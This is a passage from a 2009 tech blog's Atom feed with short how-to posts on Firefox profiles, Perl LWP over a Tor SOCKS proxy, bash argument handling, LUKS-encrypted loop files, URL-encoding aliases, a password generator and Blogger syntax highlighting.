scheme="http://www.blogger.com/atom/ns#" term="Multiple Instances"/><category scheme="http://www.blogger.com/atom/ns#" term="Multiple Profiles"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Web: Multiple Firefox Profiles with Linux</title><content type='html'>To run multiple instances of Firefox simultaneously, or run multiple copies with different settings/plugins, start Firefox like this:&lt;br /&gt;&lt;pre class=&quot;brush:shell; gutter:false&quot;&gt;firefox -P -no-remote&lt;/pre&gt;That will bring up a dialog box that lets you select a profile or create a new one.&lt;br /&gt;&lt;br /&gt;Other Firefox command-line options:&lt;br /&gt;&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;&lt;br /&gt;Usage: firefox [ options ... ] [URL]&lt;br /&gt;       where options include:&lt;br /&gt;&lt;br /&gt;X11 options&lt;br /&gt;  --display=DISPLAY    X display to use&lt;br /&gt;  --sync               Make X calls synchronous&lt;br /&gt;  --no-xshm            Don&amp;#39;t use X shared memory extension&lt;br /&gt;  --xim-preedit=STYLE&lt;br /&gt;  --xim-status=STYLE&lt;br /&gt;  --g-fatal-warnings   Make all warnings fatal&lt;br /&gt;&lt;br /&gt;Mozilla options&lt;br /&gt;  -height &amp;lt;value&amp;gt;      Set height of startup window to &amp;lt;value&amp;gt;.&lt;br /&gt;  -h or -help          Print this message.&lt;br /&gt;  -width &amp;lt;value&amp;gt;       Set width of startup window to &amp;lt;value&amp;gt;.&lt;br /&gt;  -v or -version       Print Firefox version.&lt;br /&gt;  -P &amp;lt;profile&amp;gt;         Start with &amp;lt;profile&amp;gt;.&lt;br /&gt;  -ProfileManager      Start with ProfileManager.&lt;br /&gt;  -no-remote           Open new instance, not a new window in running instance.&lt;br /&gt;  -UILocale &amp;lt;locale&amp;gt;   Start with &amp;lt;locale&amp;gt; resources as UI Locale.&lt;br /&gt;  -safe-mode           Disables extensions and themes for this session.&lt;br /&gt;  -jsconsole           Open the Error console.&lt;br /&gt;  -g or --debug        Start within /usr/bin/gdb (Must be first)&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/3042097464401665939/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/3042097464401665939' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3042097464401665939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3042097464401665939'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/multiple-firefox-profiles-under-linux.html' title='Web: Multiple Firefox Profiles with Linux'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-6868885305645882318</id><published>2009-07-22T03:14:00.000-07:00</published><updated>2010-07-27T17:53:35.981-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="HTTP::Proxy"/><category scheme="http://www.blogger.com/atom/ns#" term="Patch"/><category scheme="http://www.blogger.com/atom/ns#" term="Perl"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Patch: Perl Module HTTP::Proxy 0.23 Hop-By-Hop Test Failure</title><content type='html'>HTTP::Proxy 0.23 is failing test t/50hopbyhop:&lt;br /&gt;&lt;pre class=&quot;brush:text&quot;&gt;&lt;br /&gt;t/50hopbyhop........1/28&lt;br /&gt;# Failed test &#39;Hop-by-hop Foo&#39;&lt;br /&gt;# at t/50hopbyhop.t line 38.&lt;br /&gt;# got: undef&lt;br /&gt;# expected: &#39;foofoo&#39;&lt;br /&gt;&lt;br /&gt;# Failed test &#39;Hop-by-hop Bar&#39;&lt;br /&gt;# at t/50hopbyhop.t line 39.&lt;br /&gt;# got: undef&lt;br /&gt;# expected: &#39;barbar&#39;&lt;br /&gt;&lt;br /&gt;# Failed test &#39;Connection header removed&#39;&lt;br /&gt;# at t/50hopbyhop.t line 45.&lt;br /&gt;# got: &#39;foofoo&#39;&lt;br /&gt;# expected: undef&lt;br /&gt;&lt;br /&gt;# Failed test &#39;Connection header removed&#39;&lt;br /&gt;# at t/50hopbyhop.t line 46.&lt;br /&gt;# got: &#39;barbar&#39;&lt;br /&gt;# expected: undef&lt;br /&gt;&lt;/pre&gt;I&#39;ve &lt;a href=&quot;http://rt.cpan.org/Public/Bug/Display.html?id=43249&quot;&gt;submitted a patch&lt;/a&gt; that&#39;s been accepted by the author; it should be in the next release.&lt;br /&gt;&lt;br /&gt;Update: the patch is included as of version 0.24.</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/6868885305645882318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/6868885305645882318' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/6868885305645882318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/6868885305645882318'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/patch-perl-httpproxy-023.html' title='Patch: Perl Module HTTP::Proxy 0.23 Hop-By-Hop Test Failure'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-3393101033763312317</id><published>2009-07-19T00:14:00.000-07:00</published><updated>2010-07-27T17:38:14.673-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Blogger"/><category scheme="http://www.blogger.com/atom/ns#" term="Blogspot"/><category scheme="http://www.blogger.com/atom/ns#" term="Exclude Visits"/><category scheme="http://www.blogger.com/atom/ns#" term="Google Analytics"/><category scheme="http://www.blogger.com/atom/ns#" term="Ignore Me"/><category scheme="http://www.blogger.com/atom/ns#" term="Ignore Visits"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Blogger: Exclude Your Visits from Google Analytics</title><content type='html'>Google Analytics has a way of excluding certain visits to a site based on the presence of a special cookie. Many resources suggest that you create a &quot;hidden&quot; Web page to accomplish this, but that&#39;s difficult to do with Blogger. There is a workaround, however.&lt;br /&gt;&lt;br /&gt;First, make sure you have &lt;a href=&quot;http://analytics.blogspot.com/2009/06/back-to-basics-setting-up-google.html&quot;&gt;Google Analytics installed and running on your blog&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Next, from each Web browser you use, pull up your blog. Once the page has fully loaded, enter the following javascript in the browser&#39;s location bar and press return/enter:&lt;br /&gt;&lt;pre class=&quot;brush:js; gutter:false&quot;&gt;javascript:pageTracker._setVar(&#39;notrack&#39;);alert(&#39;cookie set&#39;);&lt;/pre&gt;That will set a &quot;notrack&quot; cookie on your browser.&lt;br /&gt;&lt;br /&gt;Finally, sign into your Google Analytics account and &lt;a href=&quot;http://www.google.com/support/googleanalytics/bin/answer.py?answer=55492&quot;&gt;create a custom filter&lt;/a&gt; to exclude all visitors that have the &quot;notrack&quot; cookie set. The filter values should be:&lt;br /&gt;&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;&lt;br /&gt;Filter Type: Custom filter &gt; Exclude&lt;br /&gt;Filter Field: User Defined&lt;br /&gt;Filter Pattern: notrack&lt;br /&gt;Case Sensitive: No&lt;br /&gt;&lt;/pre&gt;Google Analytics should now begin ignoring your visits.&lt;br /&gt;&lt;br /&gt;This approach isn&#39;t specific to Blogger; it should work on any site, including other blogging platforms such as Wordpress and Movable Type.&lt;br /&gt;&lt;br /&gt;Also, to make it simpler to set the cookie, you may want to create a bookmark with the above javascript. Once added, simply go to your blog and select the bookmark.&lt;br /&gt;&lt;br /&gt;Keywords: blogger ignore visits, blogger exclude, blogger hide</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/3393101033763312317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/3393101033763312317' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3393101033763312317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3393101033763312317'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/blogger-exclude-your-visits-from-google.html' title='Blogger: Exclude Your Visits from Google Analytics'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-1223750795779958422</id><published>2009-07-18T18:54:00.000-07:00</published><updated>2009-07-26T14:10:02.435-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="libwww"/><category scheme="http://www.blogger.com/atom/ns#" term="LWP"/><category scheme="http://www.blogger.com/atom/ns#" term="Perl"/><category scheme="http://www.blogger.com/atom/ns#" term="proxy"/><category scheme="http://www.blogger.com/atom/ns#" term="socks"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="Tor"/><title type='text'>Perl: Using LWP with a SOCKS Proxy</title><content type='html'>For this example, we&#39;ll use LWP to connect through a SOCKS proxy to the &lt;a href=&quot;http://www.torproject.org/&quot;&gt;Tor anonymizing network&lt;/a&gt;. Under Ubuntu/Debian, installation of Tor is as simple as:&lt;br /&gt;&lt;pre class=&quot;brush:shell; gutter:false&quot;&gt;sudo apt-get install tor&lt;/pre&gt;Next, install the LWP::Protocol::socks Perl module to add support for the &quot;socks&quot; scheme. Installing from CPAN:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;sudo cpan LWP::Protocol::socks&lt;/pre&gt;You should now be able to use LWP with Tor:&lt;br /&gt;&lt;pre class=&quot;brush:perl&quot;&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;&lt;br /&gt;my $ua = LWP::UserAgent-&gt;new(&lt;br /&gt;  agent =&gt; q{Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET &lt;br /&gt;CLR 1.1.4322)},&lt;br /&gt;);&lt;br /&gt;$ua-&gt;proxy([qw/ http https /] =&gt; &#39;socks://localhost:9050&#39;); # Tor proxy&lt;br /&gt;$ua-&gt;cookie_jar({});&lt;br /&gt;my $rsp = $ua-&gt;get(&#39;http://www.yahoo.com/&#39;);&lt;br /&gt;print $rsp-&gt;content;&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/1223750795779958422/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/1223750795779958422' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/1223750795779958422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/1223750795779958422'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/using-lwp-with-tor.html' title='Perl: Using LWP with a SOCKS Proxy'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-1851015972478469826</id><published>2009-07-17T20:01:00.000-07:00</published><updated>2009-07-25T18:27:51.273-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Browser Dimensions"/><category scheme="http://www.blogger.com/atom/ns#" term="Change Resolution"/><category scheme="http://www.blogger.com/atom/ns#" term="Change Window Size"/><category scheme="http://www.blogger.com/atom/ns#" term="Resize Browser"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="Testing"/><title type='text'>Web: Resizing the Browser Window</title><content type='html'>&lt;style type=&quot;text/css&quot;&gt;ul br { display: none }&lt;/style&gt;Use this javascript snippet to test web pages at different browser sizes:&lt;br /&gt;&lt;pre class=&quot;brush:js; gutter:false&quot;&gt;javascript:resizeTo(1024, 768)&lt;/pre&gt;Enter that into your browser&#39;s location bar and it should resize your window to 1024x768 (the most common resolution, currently). The first value is the width in pixels. The second is the height.&lt;br /&gt;&lt;br /&gt;Here are resize links to the five most popular resolutions. Bookmark these or drag them to your toolbar for quick access.&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href=&quot;javascript:resizeTo(1024, 768)&quot;&gt;Resize 1024x768&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href=&quot;javascript:resizeTo(1280, 800)&quot;&gt;Resize 1280x800&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href=&quot;javascript:resizeTo(1280, 1024)&quot;&gt;Resize 1280x1024&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href=&quot;javascript:resizeTo(1440, 900)&quot;&gt;Resize 1440x900&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href=&quot;javascript:resizeTo(800, 600)&quot;&gt;Resize 800x600&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;There are also browser plugins that can adjust the window size, such as Firefox&#39;s &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/60&quot;&gt;Web Developer Toolbar&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/1851015972478469826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/1851015972478469826' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/1851015972478469826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/1851015972478469826'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/browser-window-size.html' title='Web: Resizing the Browser Window'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-1263236539378646450</id><published>2009-07-17T00:16:00.000-07:00</published><updated>2009-07-17T01:58:00.428-07:00</updated><title type='text'>Bash: Iterating Over Command-Line Arguments</title><content type='html'>Shell script parameters are available through the positional variables $1, $2, $3, etc. They are also placed in the &quot;special&quot; variables $* and $@. The following script illustrates how those values are expanded.&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;print_arguments () {&lt;br /&gt;  idx=1&lt;br /&gt;  for arg; do&lt;br /&gt;    echo &quot;  param $idx: $arg&quot;&lt;br /&gt;    let idx++&lt;br /&gt;  done&lt;br /&gt;  echo&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;echo &quot;\$* - arguments with spaces are split&quot;&lt;br /&gt;print_arguments $*&lt;br /&gt;&lt;br /&gt;echo &quot;\$@ - same&quot;&lt;br /&gt;print_arguments $@&lt;br /&gt;&lt;br /&gt;echo &quot;\&quot;\$*\&quot; - expands to single value&quot;&lt;br /&gt;print_arguments &quot;$*&quot;&lt;br /&gt;&lt;br /&gt;echo &quot;\&quot;\$@\&quot; - preserves arguments exactly as passed&quot;&lt;br /&gt;print_arguments &quot;$@&quot;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Example output:&lt;br /&gt;&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;&lt;br /&gt;$ ./test-param-expansion orange 9 &quot;Bringing Up Baby&quot;&lt;br /&gt;$* - arguments with spaces are split&lt;br /&gt;  param 1: orange&lt;br /&gt;  param 2: 9&lt;br /&gt;  param 3: Bringing&lt;br /&gt;  param 4: Up&lt;br /&gt;  param 5: Baby&lt;br /&gt;&lt;br /&gt;$@ - same&lt;br /&gt;  param 1: orange&lt;br /&gt;  param 2: 9&lt;br /&gt;  param 3: Bringing&lt;br /&gt;  param 4: Up&lt;br /&gt;  param 5: Baby&lt;br /&gt;&lt;br /&gt;&quot;$*&quot; - expands to single value&lt;br /&gt;  param 1: orange 9 Bringing Up Baby&lt;br /&gt;&lt;br /&gt;&quot;$@&quot; - preserves arguments exactly as passed&lt;br /&gt;  param 1: orange&lt;br /&gt;  param 2: 9&lt;br /&gt;  param 3: Bringing Up Baby  &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So to preserve the command-line arguments exactly as supplied, use the special variable &quot;$@&quot; when iterating. Mnemonic: &lt;u&gt;quote&lt;/u&gt; &lt;u&gt;at&lt;/u&gt; the right place.&lt;br /&gt;&lt;br /&gt;Example for loops:&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;# loop over all args&lt;br /&gt;for arg in &quot;$@&quot;; do&lt;br /&gt;  echo $arg&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;# short-cut; same as above&lt;br /&gt;for arg; do&lt;br /&gt;  echo $arg&lt;br /&gt;done&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;See also: &lt;a href=&quot;http://www.gnu.org/software/bash/manual/bashref.html#Special-Parameters&quot; target=&quot;_blank&quot;&gt;Bash Manual: Special Parameters&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/1263236539378646450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/1263236539378646450' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/1263236539378646450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/1263236539378646450'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/bash-parameter-expansion.html' title='Bash: Iterating Over Command-Line Arguments'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-7870580306386756027</id><published>2009-07-15T02:05:00.000-07:00</published><updated>2013-12-01T13:41:06.106-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Encrypted Filesystem"/><category scheme="http://www.blogger.com/atom/ns#" term="Encrypted Loop Device"/><category scheme="http://www.blogger.com/atom/ns#" term="LUKS Encryption"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Linux: Encrypted Filesystem on a Regular Disk File</title><content type='html'>Some notes on creating a LUKS-based encrypted filesystem on a regular disk file with Ubuntu 9.04 Jaunty.&lt;br /&gt;
&lt;h4&gt;
&lt;br /&gt;Create the Encrypted Filesystem:&lt;/h4&gt;
&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;# create a 10M file
$ dd if=/dev/urandom of=testfs bs=1M count=10

# associate it with the loop device
$ losetup /dev/loop0 testfs

# encrypt it (will ask for password to use)
$ cryptsetup luksFormat /dev/loop0

# open the encrypted loop device
$ cryptsetup luksOpen /dev/loop0 testfs

# format it with ext2 (or whatever you prefer)
$ mkfs.ext2 /dev/mapper/testfs

# mount it
$ mount /dev/mapper/testfs /mnt/test

# confirm mount
$ df -h /mnt/test
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/testfs    9.2M   88K  8.7M   1% /mnt/test
&lt;/pre&gt;
&lt;h4&gt;
&lt;br /&gt;Unmount the Filesystem:&lt;/h4&gt;
&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;# unmount it
$ umount /mnt/test

# close encryption
$ cryptsetup luksClose /dev/mapper/testfs

# release loop device
$ losetup -d /dev/loop0&lt;/pre&gt;
&lt;h4&gt;
&lt;br /&gt;Mount an Encrypted Filesystem:&lt;/h4&gt;
&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;# associate file with the loop device
$ losetup /dev/loop0 testfs

# open the encrypted loop device
$ cryptsetup luksOpen /dev/loop0 testfs

# mount it
$ mount /dev/mapper/testfs /mnt/test&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/7870580306386756027/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/7870580306386756027' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/7870580306386756027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/7870580306386756027'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/encrypted-filesystem-on-loop-device.html' title='Linux: Encrypted Filesystem on a Regular Disk File'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-3613630061935473156</id><published>2009-07-15T01:34:00.000-07:00</published><updated>2009-07-22T12:05:38.228-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Decode Parameter"/><category scheme="http://www.blogger.com/atom/ns#" term="Encode Parameter"/><category scheme="http://www.blogger.com/atom/ns#" term="Encode URL"/><category scheme="http://www.blogger.com/atom/ns#" term="Escape Parameter"/><category scheme="http://www.blogger.com/atom/ns#" term="Escape URL"/><category scheme="http://www.blogger.com/atom/ns#" term="Query Parameter"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="Unescape Parameter"/><title type='text'>Shell: Aliases for Escaping/Unescaping Query Parameters</title><content type='html'>Here are a couple more Unix aliases, this time for quickly escaping and unescaping URL query parameters. These are defined in my ~/.bash_aliases file.&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;alias urlencode=&quot;perl -MURI::Escape -ple &#39;\$_=uri_escape(\$_); s/%20/+/g&#39;&quot;&lt;br /&gt;alias urldecode=&quot;perl -MURI::Escape -ple &#39;\$_=uri_unescape(\$_); s/\+/ /&#39;&quot;&lt;br /&gt;&lt;/pre&gt;To escape/encode all unsafe characters in a query parameter:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;$ echo &quot;blue socks?&quot; | urlencode&lt;br /&gt;blue+socks%3F&lt;br /&gt;&lt;/pre&gt;And to unescape/decode a parameter:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;$ echo blue+socks%3F | urldecode&lt;br /&gt;blue socks?&lt;br /&gt;&lt;/pre&gt;These aliases depend on Perl and the URI::Escape module which are standard on most modern Unixes.</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/3613630061935473156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/3613630061935473156' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3613630061935473156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3613630061935473156'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/aliases-for-escapingunescaping-query.html' title='Shell: Aliases for Escaping/Unescaping Query Parameters'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-367427646587737392</id><published>2009-07-13T15:24:00.000-07:00</published><updated>2009-07-25T18:44:11.296-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="Make Password"/><category scheme="http://www.blogger.com/atom/ns#" term="Password Generator"/><category scheme="http://www.blogger.com/atom/ns#" term="Secure Password"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell Function"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Shell: Linux Password Generator</title><content type='html'>A simple bash function to generate secure passwords with standard Unix programs:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;function mkpw() { head /dev/urandom | uuencode -m - | sed -n 2p | cut -c1-${1:-8}; }&lt;br /&gt;&lt;/pre&gt;Add that to your ~/.bashrc file. The password length can be specified as an argument (defaults to 8).&lt;br /&gt;Example usage:&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;$ mkpw&lt;br /&gt;B5PcCWC3&lt;br /&gt;$ mkpw 10&lt;br /&gt;V8T7ZrTQuN&lt;br /&gt;&lt;/pre&gt;On Ubuntu, the uuencode program is in the sharutils package. Alternatively, you could replace uuencode with md5sum or sha1sum, which would restrict the passwords to hex digits (and which would therefore make them appropriate for WEP keys and the like):&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;&lt;br /&gt;function mkpw_md5() { head /dev/urandom | md5sum | cut -c1-${1:-8}; }&lt;br /&gt;function mkpw_sha1() { head /dev/urandom | sha1sum | cut -c1-${1:-8}; }&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/367427646587737392/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/367427646587737392' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/367427646587737392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/367427646587737392'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/linux-password-generator.html' title='Shell: Linux Password Generator'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-212257739096729030</id><published>2009-07-11T18:01:00.000-07:00</published><updated>2009-09-14T18:52:25.137-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Blogger"/><category scheme="http://www.blogger.com/atom/ns#" term="Syntax Highlighting"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Blogger Syntax Highlighting</title><content type='html'>How to add syntax highlighting to Blogger with &lt;a href=&quot;http://alexgorbatchev.com/wiki/SyntaxHighlighter&quot;&gt;Alex Gorbatchev&#39;s open-source SyntaxHighlighter&lt;/a&gt;.&lt;ul&gt;&lt;li&gt;Log into your blogspot account, select the &quot;Layout&quot; tab, and then click &quot;Edit HTML.&quot;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Click &quot;Download Full Template&quot; to make a backup of your current template.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Make a copy of your template, open it in an editor, and find the &amp;lt/head&gt; closing tag. Before that tag, add the following:&lt;br /&gt;&lt;pre class=&quot;brush:xml&quot;&gt;&amp;lt;link href=&amp;#39;http://alexgorbatchev.com/pub/sh/current/styles/shCore.css&amp;#39; rel=&amp;#39;stylesheet&amp;#39; type=&amp;#39;text/css&amp;#39;/&amp;gt;&lt;br /&gt;&amp;lt;link href=&amp;#39;http://alexgorbatchev.com/pub/sh/current/styles/shThemeDefault.css&amp;#39; rel=&amp;#39;stylesheet&amp;#39; type=&amp;#39;text/css&amp;#39;/&amp;gt;&lt;br /&gt;&amp;lt;script src=&amp;#39;http://alexgorbatchev.com/pub/sh/current/scripts/shCore.js&amp;#39; type=&amp;#39;text/javascript&amp;#39;/&amp;gt;&lt;br /&gt;&amp;lt;!-- add brushes here --&amp;gt;&lt;br /&gt;&amp;lt;script type=&amp;#39;text/javascript&amp;#39;&amp;gt;&lt;br /&gt;  SyntaxHighlighter.config.bloggerMode = true;&lt;br /&gt;  SyntaxHighlighter.all();&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;After the comment that says &quot;add brushes here,&quot; add the languages you plan to use. For example, I&#39;m using brushes for Javascript, Bash, SQL, XML/HTML, and C++:&lt;br /&gt;&lt;pre class=&quot;brush:xml&quot;&gt;&amp;lt;!-- add brushes here --&amp;gt;&lt;br /&gt;&amp;lt;script src=&amp;#39;http://alexgorbatchev.com/pub/sh/current/scripts/shBrushJScript.js&amp;#39; type=&amp;#39;text/javascript&amp;#39;/&amp;gt;&lt;br /&gt;&amp;lt;script src=&amp;#39;http://alexgorbatchev.com/pub/sh/current/scripts/shBrushBash.js&amp;#39; type=&amp;#39;text/javascript&amp;#39;/&amp;gt;&lt;br /&gt;&amp;lt;script src=&amp;#39;http://alexgorbatchev.com/pub/sh/current/scripts/shBrushSql.js&amp;#39; 